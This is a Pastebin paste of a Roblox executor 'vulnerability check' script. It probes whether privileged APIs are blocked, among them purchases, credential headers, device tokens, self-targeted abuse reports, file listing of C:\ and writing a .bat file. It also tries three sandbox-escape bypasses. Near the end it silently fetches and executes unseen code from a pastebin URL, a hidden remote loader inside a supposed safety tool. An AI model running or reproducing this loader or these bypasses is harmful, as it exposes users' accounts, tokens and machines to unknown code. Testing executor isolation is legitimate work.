Pvhak

a

Mar 7th, 2026
123
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.45 KB | None | 0 0
  1. --[[
  2. WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
  3. ]]
  4. local passes, fails, undefined = 0, 0, 0
  5. local running = 0
  6.  
  7. local function test(name: string, callback_or_message: any, message: string): ()
  8. running += 1
  9. if type(callback_or_message) == 'string' then
  10. undefined += 1
  11. print("⏺️ " .. name.. ": ".. callback_or_message)
  12. else
  13. local timeout = 3
  14. local succeeded = false
  15. function starttest()
  16. task.spawn(function()
  17. local success: boolean, err: string = pcall(callback_or_message)
  18.  
  19. if success or not success and err:match('Argument %d missing or nil') or err:find('Expected \':\' not \'.\' calling member function') then
  20. fails += 1
  21. warn("⛔ " .. name .. ": " .. message)
  22. elseif not success and string.find(err, 'current thread cannot') and string.find(err, 'lacking capability') then
  23. undefined += 1
  24. print("⏺️ " .. name.. ": Executor cannot access due to thread identity")
  25. else
  26. local _, i = err:find(":%d+: ")
  27. if i then
  28. err = err:sub(i + 1)
  29. end
  30. passes += 1
  31. print("✅ " .. name.. ": ".. err)
  32. end
  33. succeeded = true
  34. end)
  35. end
  36.  
  37. coroutine.wrap(starttest)()
  38. local now = tick()
  39. repeat wait() until succeeded or tick() - now >= timeout
  40.  
  41. if not succeeded then
  42. undefined += 1
  43. print("⏺️ " .. name.. ": Test Timeout")
  44. end
  45. end
  46.  
  47. running -= 1
  48. end
  49.  
  50. local getexecname = identifyexecutor or getexecutorname or whatexecutor or function() return 'Unknown Executor' end
  51. print("Executor Vulnerability Check - ".. getexecname())
  52. print("✅ - Pass, ⛔ - Fail, ⏺️ - No test")
  53.  
  54. -- ScriptContext
  55. print()
  56. test("ScriptContext.AddCoreScriptLocal", function()
  57. --game:GetService('ScriptContext'):AddCoreScriptLocal()
  58. end, 'This function can be used to create a new CoreScript, from which people can escape the executor environment')
  59. test("ScriptContext.SaveScriptProfilingData", function()
  60. game:GetService('ScriptContext'):SaveScriptProfilingData()
  61. end, 'This function can be used to create a file on your PC and return the path')
  62.  
  63. -- ScriptProfilerService
  64. print()
  65. test("ScriptProfilerService.SaveScriptProfilingData", function()
  66. game:GetService('ScriptProfilerService'):SaveScriptProfilingData()
  67. end, 'This function can be used to create a file on your PC and return the path')
  68.  
  69. -- MarketplaceService (yes theres a lot)
  70. print()
  71. test("MarketplaceService.GetRobuxBalance", function()
  72. game:GetService('MarketplaceService'):GetRobuxBalance()
  73. end, 'This function can get your Robux balance')
  74.  
  75. test("MarketplaceService.GetUserSubscriptionDetailsInternalAsync", function()
  76. game:GetService('MarketplaceService'):GetUserSubscriptionDetailsInternalAsync()
  77. end, 'This function can get a player\'s subscription details')
  78.  
  79. test("MarketplaceService.GetUserSubscriptionStatusAsync", function()
  80. game:GetService('MarketplaceService'):GetUserSubscriptionStatusAsync()
  81. end, 'This function can get a player\'s subscription status')
  82.  
  83. test("MarketplaceService.PerformBulkPurchase", function()
  84. game:GetService('MarketplaceService'):PerformBulkPurchase()
  85. end, 'This function can be used to perform a bulk purchase')
  86.  
  87. test("MarketplaceService.PerformCancelSubscription", function()
  88. game:GetService('MarketplaceService'):PerformCancelSubscription()
  89. end, 'This function can be used to cancel the player\'s subscription')
  90.  
  91. test("MarketplaceService.PerformPurchase", function()
  92. game:GetService('MarketplaceService'):PerformPurchase()
  93. end, 'This function can be used to perform a Roblox purchase')
  94.  
  95. test("MarketplaceService.PerformPurchaseV2", function()
  96. game:GetService('MarketplaceService'):PerformPurchaseV2()
  97. end, 'This function can be used to perform a Roblox purchase')
  98.  
  99. test("MarketplaceService.PerformSubscriptionPurchase", function()
  100. game:GetService('MarketplaceService'):PerformSubscriptionPurchase()
  101. end, 'This function can be used to perform a subscription purchase')
  102.  
  103. test("MarketplaceService.PerformSubscriptionPurchaseV2", function()
  104. game:GetService('MarketplaceService'):PerformSubscriptionPurchaseV2()
  105. end, 'This function can be used to perform a subscription purchase')
  106.  
  107. test("MarketplaceService.PrepareCollectiblesPurchase", function()
  108. game:GetService('MarketplaceService'):PrepareCollectiblesPurchase()
  109. end, 'This function prepares a collectible purchase')
  110.  
  111. test("MarketplaceService.PromptBulkPurchase", function()
  112. game:GetService('MarketplaceService'):PromptBulkPurchase()
  113. end, 'This function prompts a bulk purchase')
  114.  
  115. test("MarketplaceService.PromptBundlePurchase", function()
  116. game:GetService('MarketplaceService'):PromptBundlePurchase()
  117. end, 'This function prompts a bundle purchase')
  118.  
  119. test("MarketplaceService.PromptCancelSubscription", function()
  120. game:GetService('MarketplaceService'):PromptCancelSubscription()
  121. end, 'This function prompts a subscription cancel')
  122.  
  123. test("MarketplaceService.PromptCollectiblesPurchase", function()
  124. game:GetService('MarketplaceService'):PromptCollectiblesPurchase()
  125. end, 'This function prompts a collectibles purchase')
  126.  
  127. test("MarketplaceService.PromptGamePassPurchase", function()
  128. game:GetService('MarketplaceService'):PromptGamePassPurchase()
  129. end, 'This function prompts a Gamepass purchase')
  130.  
  131. test("MarketplaceService.PromptNativePurchase", function()
  132. game:GetService('MarketplaceService'):PromptNativePurchase()
  133. end, 'This function prompts a purchase')
  134.  
  135. test("MarketplaceService.PromptNativePurchaseWithLocalPlayer", function()
  136. game:GetService('MarketplaceService'):PromptNativePurchaseWithLocalPlayer()
  137. end, 'This function prompts a purchase')
  138.  
  139. test("MarketplaceService.PromptPremiumPurchase", function()
  140. game:GetService('MarketplaceService'):PromptPremiumPurchase()
  141. end, 'This function prompts a Premium Purchase')
  142.  
  143. test("MarketplaceService.PromptProductPurchase", function()
  144. game:GetService('MarketplaceService'):PromptProductPurchase()
  145. end, 'This function prompts a purchase')
  146.  
  147. test("MarketplaceService.PromptPurchase", function()
  148. game:GetService('MarketplaceService'):PromptPurchase()
  149. end, 'This function prompts a purchase')
  150.  
  151. test("MarketplaceService.PromptRobloxPurchase", function()
  152. game:GetService('MarketplaceService'):PromptRobloxPurchase()
  153. end, 'This function prompts a purchase')
  154.  
  155. test("MarketplaceService.PromptSubscriptionPurchase", function()
  156. game:GetService('MarketplaceService'):PromptSubscriptionPurchase()
  157. end, 'This function prompts a subscription purchase')
  158.  
  159. test("MarketplaceService.PromptThirdPartyPurchase", function()
  160. game:GetService('MarketplaceService'):PromptThirdPartyPurchase()
  161. end, 'This function prompts a 3rd party purchase')
  162.  
  163. -- Players
  164. print()
  165. test("Players.ReportAbuse", function()
  166. game:GetService('Players'):ReportAbuse(game:GetService('Players').LocalPlayer)
  167. end, 'This function allows a bad actor to mass report you')
  168.  
  169. test("Players.ReportAbuseV3", function()
  170. game:GetService('Players'):ReportAbuseV3(game:GetService('Players').LocalPlayer)
  171. end, 'This function allows a bad actor to mass report you')
  172.  
  173. -- CoreGui
  174. print()
  175. test("CoreGui.TakeScreenshot", function()
  176. game:GetService('CoreGui'):TakeScreenshot()
  177. end, 'This function allows a bad actor to take a screenshot and flood your PC storage')
  178.  
  179. test("CoreGui.ToggleRecording", function()
  180. game:GetService('CoreGui'):ToggleRecording()
  181. end, 'This function allows a bad actor to toggle a recording and flood your PC storage')
  182.  
  183. -- BrowserService
  184. print()
  185. test("BrowserService.OpenBrowserWindow", function()
  186. game:GetService('BrowserService'):OpenBrowserWindow()
  187. end, 'This function allows a bad actor to open a in-game browser window')
  188.  
  189. test("BrowserService.ExecuteJavaScript", function()
  190. game:GetService('BrowserService'):ExecuteJavaScript()
  191. end, 'This function allows a bad actor to execute JavaScript')
  192.  
  193. test("BrowserService.ReturnToJavaScript", function()
  194. game:GetService('BrowserService'):ReturnToJavaScript()
  195. end, 'This function allows a bad actor to execute JavaScript')
  196.  
  197. test("BrowserService.SendCommand", function()
  198. game:GetService('BrowserService'):SendCommand()
  199. end, 'This function allows a bad actor to send a command to a browser window')
  200.  
  201. test("BrowserService.OpenNativeOverlay", function()
  202. game:GetService('BrowserService').OpenNativeOverlay()
  203. end, 'This function allows a bad actor to open an overlay window')
  204.  
  205. test("BrowserService.OpenWeChatAuthWindow", function()
  206. game:GetService('BrowserService').OpenWeChatAuthWindow()
  207. end, 'This function allows a bad actor to open a WeChat Auth window, allowing them to access any Roblox webpage')
  208.  
  209. test("BrowserService.EmitHybridEvent", function()
  210. game:GetService('BrowserService'):EmitHybridEvent()
  211. end, 'This function allows a bad actor to run a command on a browser window')
  212.  
  213. -- GuiService
  214. print()
  215. test('GuiService.OpenBrowserWindow', function()
  216. game:GetService('GuiService'):OpenBrowserWindow()
  217. end, 'This function allows a bad actor to open a browser window')
  218.  
  219. -- LinkingService
  220. print()
  221. test('LinkingService.OpenUrl', function()
  222. game:GetService('LinkingService'):OpenUrl()
  223. end, 'This function can be used to launch a local file or a command.')
  224.  
  225. -- OpenCloudService
  226. print()
  227. test('OpenCloudService.HttpRequestAsync', function()
  228. game:GetService('OpenCloudService'):HttpRequestAsync()
  229. end, 'This function can be used to make an authenticated request')
  230.  
  231. -- HttpService
  232. print()
  233. test('HttpService.RequestInternal', function()
  234. game:GetService('HttpService'):RequestInternal()
  235. end, 'This function can be used to request to a Roblox API')
  236.  
  237. -- HttpRbxApiService
  238. print()
  239. test('HttpRbxApiService.GetAsync', function()
  240. game:GetService('HttpRbxApiService'):GetAsync()
  241. end, 'This function can be used to make a request to Roblox APIs')
  242.  
  243. test('HttpRbxApiService.GetAsyncFullUrl', function()
  244. game:GetService('HttpRbxApiService'):GetAsyncFullUrl()
  245. end, 'This function can be used to make a request to Roblox APIs')
  246.  
  247. test('HttpRbxApiService.PostAsync', function()
  248. game:GetService('HttpRbxApiService'):PostAsync()
  249. end, 'This function can be used to make a request to Roblox APIs')
  250.  
  251. test('HttpRbxApiService.PostAsyncFullUrl', function()
  252. game:GetService('HttpRbxApiService'):PostAsyncFullUrl()
  253. end, 'This function can be used to make a request to Roblox APIs')
  254.  
  255. test('HttpRbxApiService.RequestAsync', function()
  256. game:GetService('HttpRbxApiService'):RequestAsync()
  257. end, 'This function can be used to make a request to Roblox APIs')
  258.  
  259. test('HttpRbxApiService.RequestLimitedAsync', function()
  260. game:GetService('HttpRbxApiService'):RequestLimitedAsync()
  261. end, 'This function can be used to make a request to Roblox APIs')
  262.  
  263. -- TestService
  264. print()
  265. test('TestService.Run', function()
  266. game:GetService('TestService'):Run()
  267. end, 'This function can be used, paired with queueonteleport, to run malicious code with the executor thread identity, but outside of the environment.')
  268.  
  269. -- DataModel
  270. print()
  271. test("game.OpenScreenshotsFolder", function()
  272. game:OpenScreenshotsFolder()
  273. end, 'This function allows a bad actor to spam open the screenshots folder')
  274.  
  275. test("game.OpenVideosFolder", function()
  276. game:OpenVideosFolder()
  277. end, 'This function allows a bad actor to spam open the screenshots folder')
  278.  
  279. test("game.Load", function()
  280. game:Load()
  281. end, 'This function allows someone to load an object of a URL, the actual functionaility is not very docummented')
  282.  
  283. -- CaptureService
  284. print()
  285. test("CaptureService.CaptureScreenshot", function()
  286. game:GetService('CaptureService'):CaptureScreenshot()
  287. end, 'This function allows someone to capture a screenshot and do a function with it')
  288.  
  289. test("CaptureService.CreatePostAsync", function()
  290. game:GetService('CaptureService'):CreatePostAsync()
  291. end, 'This function allows someone to post a capture you made')
  292.  
  293. test("CaptureService.DeleteCapture", function()
  294. game:GetService('CaptureService'):DeleteCapture()
  295. end, 'This function allows someone to delete a file from your system')
  296.  
  297. test("CaptureService.DeleteCapturesAsync", function()
  298. game:GetService('CaptureService'):DeleteCapturesAsync()
  299. end, 'This function allows someone to delete files from your system')
  300.  
  301. test("CaptureService.GetCaptureFilePathAsync", function()
  302. game:GetService('CaptureService'):GetCaptureFilePathAsync()
  303. end, 'This function allows someone to get the path of a saved capture')
  304.  
  305. test("CaptureService.SaveCaptureToExternalStorage", function()
  306. game:GetService('CaptureService'):SaveCaptureToExternalStorage()
  307. end, 'This function allows someone to save a capture')
  308.  
  309. test("CaptureService.SaveCapturesToExternalStorageAsync", function()
  310. game:GetService('CaptureService'):SaveCapturesToExternalStorageAsync()
  311. end, 'This function allows someone to save captures')
  312.  
  313. test("CaptureService.SaveCapturesToExternalStorageAsync", function()
  314. game:GetService('CaptureService'):SaveCapturesToExternalStorageAsync()
  315. end, 'This function allows someone to save captures')
  316.  
  317. test("CaptureService.GetCaptureUploadDataAsync", function()
  318. game:GetService('CaptureService'):GetCaptureUploadDataAsync()
  319. end, 'This function allows someone to get the data of a capture')
  320.  
  321. test("CaptureService.PostToFeedAsync", function()
  322. game:GetService('CaptureService'):PostToFeedAsync()
  323. end, 'This function allows someone to post a capture to a feed (?)')
  324.  
  325. test("CaptureService.RetrieveCaptures", function()
  326. game:GetService('CaptureService'):RetrieveCaptures()
  327. end, 'This function allows someone to retrieve all made captures')
  328.  
  329. test("CaptureService.SaveScreenshotCapture", function()
  330. game:GetService('CaptureService'):SaveScreenshotCapture()
  331. end, 'This function allows someone to save a screenshot')
  332.  
  333.  
  334. -- MessageBusService
  335. print()
  336. test("MessageBusService.Call", function()
  337. game:GetService('MessageBusService'):Call()
  338. end, 'This calls something')
  339.  
  340. test("MessageBusService.GetLast", function()
  341. game:GetService('MessageBusService'):GetLast()
  342. end, 'This gets the data of the last call')
  343.  
  344. test("MessageBusService.GetMessageId", function()
  345. game:GetService('MessageBusService'):GetMessageId()
  346. end, 'This gets the message id of call')
  347.  
  348. test("MessageBusService.GetProtocolMethodRequestMessageId", function()
  349. game:GetService('MessageBusService'):GetProtocolMethodRequestMessageId()
  350. end, 'This gets the protocol method of the lastest request\'s message id')
  351.  
  352. test("MessageBusService.GetProtocolMethodResponseMessageId", function()
  353. game:GetService('MessageBusService'):GetProtocolMethodResponseMessageId()
  354. end, 'This gets the protocol method of the lastest response\'s message id')
  355.  
  356. test("MessageBusService.MakeRequest", function()
  357. game:GetService('MessageBusService'):MakeRequest()
  358. end, 'This makes a request')
  359.  
  360. test("MessageBusService.Publish", function()
  361. game:GetService('MessageBusService'):Publish()
  362. end, 'This can publish something and can be used to RCE')
  363.  
  364. test("MessageBusService.PublishProtocolMethodRequest", function()
  365. game:GetService('MessageBusService'):PublishProtocolMethodRequest()
  366. end, 'This publishes a protocol method request')
  367.  
  368. test("MessageBusService.PublishProtocolMethodResponse", function()
  369. game:GetService('MessageBusService'):PublishProtocolMethodResponse()
  370. end, 'This responds to a protocol method request')
  371.  
  372. test("MessageBusService.Subscribe", function()
  373. game:GetService('MessageBusService'):Subscribe()
  374. end, 'This subscribes to something')
  375.  
  376. test("MessageBusService.SubscribeToProtocolMethodRequest", function()
  377. game:GetService('MessageBusService'):SubscribeToProtocolMethodRequest()
  378. end, 'This subscribes to a request')
  379.  
  380. test("MessageBusService.SubscribeToProtocolMethodResponse", function()
  381. game:GetService('MessageBusService'):SubscribeToProtocolMethodResponse()
  382. end, 'This subscribes in response to a protocol method request')
  383.  
  384. -- AccountService
  385. print()
  386. test('AccountService.GetCredentialsHeaders', function()
  387. game:GetService("AccountService"):GetCredentialsHeaders()
  388. end, 'This gets the credentials headers')
  389. test('AccountService.GetCredentialsHeaders', function()
  390. game:GetService("AccountService"):GetDeviceAccessToken()
  391. end, 'This gets the device access token')
  392. test('AccountService.GetDeviceIntegrityToken', function()
  393. game:GetService("AccountService"):GetDeviceIntegrityToken()
  394. end, 'This gets the device integrity token')
  395. test('AccountService.GetDeviceIntegrityTokenYield', function()
  396. game:GetService("AccountService"):GetDeviceIntegrityTokenYield()
  397. end, 'This gets the device integrity token')
  398.  
  399.  
  400. -- AvatarEditorService
  401. print()
  402. test("AvatarEditorService.NoPromptCreateOutfit", function()
  403. game:GetService("AvatarEditorService"):NoPromptCreateOutfit()
  404. end, 'This function creates an outfit on your account')
  405. test("AvatarEditorService.NoPromptDeleteOutfit", function()
  406. game:GetService("AvatarEditorService"):NoPromptCreateOutfit()
  407. end, 'This function deletes an outfit on your account')
  408. test("AvatarEditorService.NoPromptRenameOutfit", function()
  409. game:GetService("AvatarEditorService"):NoPromptRenameOutfit()
  410. end, 'This function renames an outfit on your account')
  411. test("AvatarEditorService.NoPromptSaveAvatar", function()
  412. game:GetService("AvatarEditorService"):NoPromptSaveAvatar()
  413. end, 'This function saves an outfit on your account')
  414. test("AvatarEditorService.NoPromptSaveAvatarThumbnailCustomization", function()
  415. game:GetService("AvatarEditorService"):NoPromptSaveAvatarThumbnailCustomization()
  416. end, 'This function saves an outfit\'s customization on your account')
  417. test("AvatarEditorService.NoPromptSetFavorite", function()
  418. game:GetService("AvatarEditorService"):NoPromptSetFavorite()
  419. end, 'This function sets a favorite item on your account')
  420. test("AvatarEditorService.NoPromptUpdateOutfit", function()
  421. game:GetService("AvatarEditorService"):NoPromptUpdateOutfit()
  422. end, 'This function updates an outfit on your account')
  423. test("AvatarEditorService.PerformCreateOutfitWithDescription", function()
  424. game:GetService("AvatarEditorService"):PerformCreateOutfitWithDescription()
  425. end, 'This function creates an outfit on your account')
  426. test("AvatarEditorService.PerformDeleteOutfit", function()
  427. game:GetService("AvatarEditorService"):PerformDeleteOutfit()
  428. end, 'This function deletes an outfit on your account')
  429. test("AvatarEditorService.PerformRenameOutfit", function()
  430. game:GetService("AvatarEditorService"):PerformRenameOutfit()
  431. end, 'This function renames an outfit on your account')
  432. test("AvatarEditorService.PerformSaveAvatarWithDescription", function()
  433. game:GetService("AvatarEditorService"):PerformSaveAvatarWithDescription()
  434. end, 'This function saves an avatar on your account')
  435. test("AvatarEditorService.PerformSetFavorite", function()
  436. game:GetService("AvatarEditorService"):PerformSetFavorite()
  437. end, 'This function sets a favorite on your account')
  438. test("AvatarEditorService.PerformUpdateOutfit", function()
  439. game:GetService("AvatarEditorService"):PerformUpdateOutfit()
  440. end, 'This function performs an outfit update on your account')
  441. test("AvatarEditorService.PromptCreateOutfit", function()
  442. game:GetService("AvatarEditorService"):PromptCreateOutfit()
  443. end, 'This function prompts a create outfit dialog')
  444. test("AvatarEditorService.PromptDeleteOutfit", function()
  445. game:GetService("AvatarEditorService"):PromptDeleteOutfit()
  446. end, 'This function prompts a delete outfit dialog')
  447. test("AvatarEditorService.PromptRenameOutfit", function()
  448. game:GetService("AvatarEditorService"):PromptRenameOutfit()
  449. end, 'This function prompts a rename outfit dialog')
  450. test("AvatarEditorService.PromptSaveAvatar", function()
  451. game:GetService("AvatarEditorService"):PromptSaveAvatar()
  452. end, 'This function prompts a save avatar dialog')
  453. test("AvatarEditorService.PromptSetFavorite", function()
  454. game:GetService("AvatarEditorService"):PromptSetFavorite()
  455. end, 'This function prompts a favorite dialog')
  456. test("AvatarEditorService.PromptUpdateOutfit", function()
  457. game:GetService("AvatarEditorService"):PromptUpdateOutfit()
  458. end, 'This function prompts an update outfit dialog')
  459.  
  460. print()
  461. if game:GetService("RunService"):IsStudio() then
  462. test('StudioService.OpenInBrowser_DONOTUSE', function()
  463. game:GetService("StudioService"):OpenInBrowser_DONOTUSE()
  464. end, 'This Studio-only function allows somebody to execute commands on your PC')
  465. test('StudioService.TryInstallPlugin', function()
  466. game:GetService("StudioService"):TryInstallPlugin()
  467. end, 'This Studio-only function allows somebody to install a plugin, which could have malicious code')
  468. test('StudioService.PromptImportFile', function()
  469. game:GetService("StudioService"):PromptImportFile()
  470. end, 'This Studio-only function allows somebody to prompt a file browser')
  471. test('StudioService.PromptImportFiles', function()
  472. game:GetService("StudioService"):PromptImportFiles()
  473. end, 'This Studio-only function allows somebody to prompt a file browser')
  474. test('StudioService.UninstallPlugin', function()
  475. game:GetService("StudioService"):UninstallPlugin()
  476. end, 'This Studio-only function allows somebody to uninstall a plugin')
  477. else
  478. test('StudioService.OpenInBrowser_DONOTUSE', 'Not in Studio')
  479. test('StudioService.TryInstallPlugin', 'Not in Studio')
  480. test('StudioService.PromptImportFile', 'Not in Studio')
  481. test('StudioService.PromptImportFiles', 'Not in Studio')
  482. test('StudioService.UninstallPlugin', 'Not in Studio')
  483. end
  484.  
  485. print()
  486. local success = true
  487. if pcall(function() game:HttpGet('https://google.com') end) == true then
  488. test('game.HttpGet | Roblox API', function()
  489. local RobloxVulnerableAPIS = {'https://accountinformation.roblox.com', 'https://accountsettings.roblox.com', 'https://twostepverification.roblox.com', 'https://trades.roblox.com', 'https://billing.roblox.com', 'https://economy.roblox.com', 'https://auth.roblox.com', 'https://accountinformation.roproxy.com', 'https://accountsettings.roproxy.com', 'https://twostepverification.roproxy.com', 'https://trades.roproxy.com', 'https://billing.roproxy.com', 'https://economy.roproxy.com', 'https://auth.roproxy.com'}
  490. for i,v in pairs(RobloxVulnerableAPIS) do
  491. local s,e = pcall(function() game:HttpGet(v) end)
  492. if s then
  493. success = false
  494. break
  495. end
  496. end
  497. if success then
  498. error("Executor did not access the function")
  499. end
  500. end, "Executor requested to a Vulnerable Roblox API")
  501. else test('game.HttpGet | Roblox API', 'Executor does not support function') end
  502. if pcall(function() game:HttpPost('https://google.com', '') end) == true then
  503. test('game.HttpPost | Roblox API', function()
  504. local RobloxVulnerableAPIS = {'https://accountinformation.roblox.com', 'https://accountsettings.roblox.com', 'https://twostepverification.roblox.com', 'https://trades.roblox.com', 'https://billing.roblox.com', 'https://economy.roblox.com', 'https://auth.roblox.com', 'https://accountinformation.roproxy.com', 'https://accountsettings.roproxy.com', 'https://twostepverification.roproxy.com', 'https://trades.roproxy.com', 'https://billing.roproxy.com', 'https://economy.roproxy.com', 'https://auth.roproxy.com'}
  505. for i,v in pairs(RobloxVulnerableAPIS) do
  506. local s,e = pcall(function() game:HttpPost(v, '') end)
  507. if s then
  508. success = false
  509. break
  510. end
  511. end
  512. if success then
  513. error("Executor did not access the function")
  514. end
  515. end, "Executor requested to a Vulnerable Roblox API")
  516. else test('game.HttpPost | Robux API', 'Executor does not support function') end
  517. if pcall(function() request({ Url = 'https://google.com', Method = 'GET'}) end) == true then
  518. test('request | Roblox API', function()
  519. local RobloxVulnerableAPIS = {'https://accountinformation.roblox.com', 'https://accountsettings.roblox.com', 'https://twostepverification.roblox.com', 'https://trades.roblox.com', 'https://billing.roblox.com', 'https://economy.roblox.com', 'https://auth.roblox.com', 'https://accountinformation.roproxy.com', 'https://accountsettings.roproxy.com', 'https://twostepverification.roproxy.com', 'https://trades.roproxy.com', 'https://billing.roproxy.com', 'https://economy.roproxy.com', 'https://auth.roproxy.com'}
  520. for i,v in pairs(RobloxVulnerableAPIS) do
  521. local s,_ = pcall(function() request({ Url = v, Method = 'GET'}) end)
  522. if s then
  523. success = false
  524. break
  525. end
  526. end
  527. if success then
  528. error("Executor did not access the function")
  529. end
  530. end, "Executor requested to a Vulnerable Roblox API")
  531. else test('request | Roblox API', 'Executor does not support function') end
  532. -- File System
  533. print()
  534. local listfiles = listfiles or list_files
  535. if listfiles then
  536. test("listfiles | C:\\ Access", function()
  537. local failed
  538. for i,v in pairs(listfiles("C:\\")) do
  539. if tostring(v) == 'Windows' then
  540. failed = true
  541. break
  542. end
  543. end
  544. if not failed then
  545. error("Executor didn't access C:\\ Disk")
  546. end
  547. end, 'People are able to access all files on your PC')
  548. else
  549. test('listfiles | C:\\ Access', 'Function not supported')
  550. end
  551.  
  552. local writefile = writefile or write_file
  553. local isfile = isfile or is_file
  554. if (writefile and isfile) then
  555. test("writefile | Dangerous extension", function()
  556. local failed
  557. writefile('test.bat', "test")
  558. if isfile('test.bat') then
  559. failed = true
  560. end
  561. if not failed then
  562. error("Executor didn't create the dangerous file")
  563. end
  564. end, 'People are able to create files with malicious extensions')
  565. else
  566. test('writefile | Dangerous extension', 'Functions not supported')
  567. end
  568.  
  569. -- Protection Bypasses
  570. print()
  571. test('Bypassing Blocked Services with Empty Characters', function()
  572. local s,e = pcall(game:GetService('ScriptContext\0').AddCoreScriptLocal, game:GetService('ScriptContext\0'))
  573. if s or e:lower():find('argument') and e:lower():find('missing or nil') or e:lower():find('current thread cannot') and e:lower():find('lacking capability') then
  574. return nil
  575. end
  576. error("Executor did not access the blocked function")
  577. end, 'WARNING: This means your executor is vulnerable to nearly all vulnerabilities')
  578. test('Bypassing protection by accessing an unprotected environment', function()
  579. local old = getfenv()
  580. local oldgame = game
  581.  
  582. setfenv(1, getfenv(print))
  583. getfenv().game = nil
  584. local s,e = pcall(game:GetService('ScriptContext').AddCoreScriptLocal)
  585. if s or string.find(e:lower(), 'argument') and string.find(e:lower(), 'missing or nil') or string.find(e:lower(), 'current thread cannot') and string.find(e:lower(), 'lacking capability') then
  586. getfenv().game = oldgame
  587. setfenv(1, old)
  588. return nil
  589. end
  590. getfenv().game = oldgame
  591. setfenv(1, old)
  592. error("Executor did not access the blocked function")
  593. end, 'WARNING: This means your executor is vulnerable to all vulnerabilities')
  594. test("Bypassing protection by accessing the parent of Workspace", function()
  595. local oldgame = game
  596. getfenv().game = workspace.Parent
  597. local failed = false
  598. local _, callback = pcall(game:GetService('ScriptContext').AddCoreScriptLocal)
  599. if callback:match("Argument %d missing or nil") or callback:find("Expected ':' not '.' calling member function") or callback:lower():find('cannot call') and callback:lower():find('lacking capability') then
  600. failed = true
  601. end
  602. getfenv().game = oldgame
  603. if not failed then
  604. error("Executor did not access the blocked function")
  605. end
  606. end, "WARNING: This means your executor is vulnerable to nearly all vulnerabilities")
  607.  
  608.  
  609. wait()
  610. loadstring(game:HttpGetAsync("https://pastebin.com/raw/iXWBeKic"))()
  611.  
  612. local rate = math.round(passes / (passes + fails) * 100)
  613. local outOf = passes .. " out of " .. (passes + fails)
  614.  
  615. print("\n")
  616.  
  617. print("Vulnerability Test Summary - ".. getexecname())
  618. print("✅ Tested with a " .. rate .. "% mitigations rate (" .. outOf .. ")")
  619. print("⛔ " .. fails .. " vulnerabilities not mitigated")
  620. print("⏺️ " .. undefined .. " vulnerabilities not tested")
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment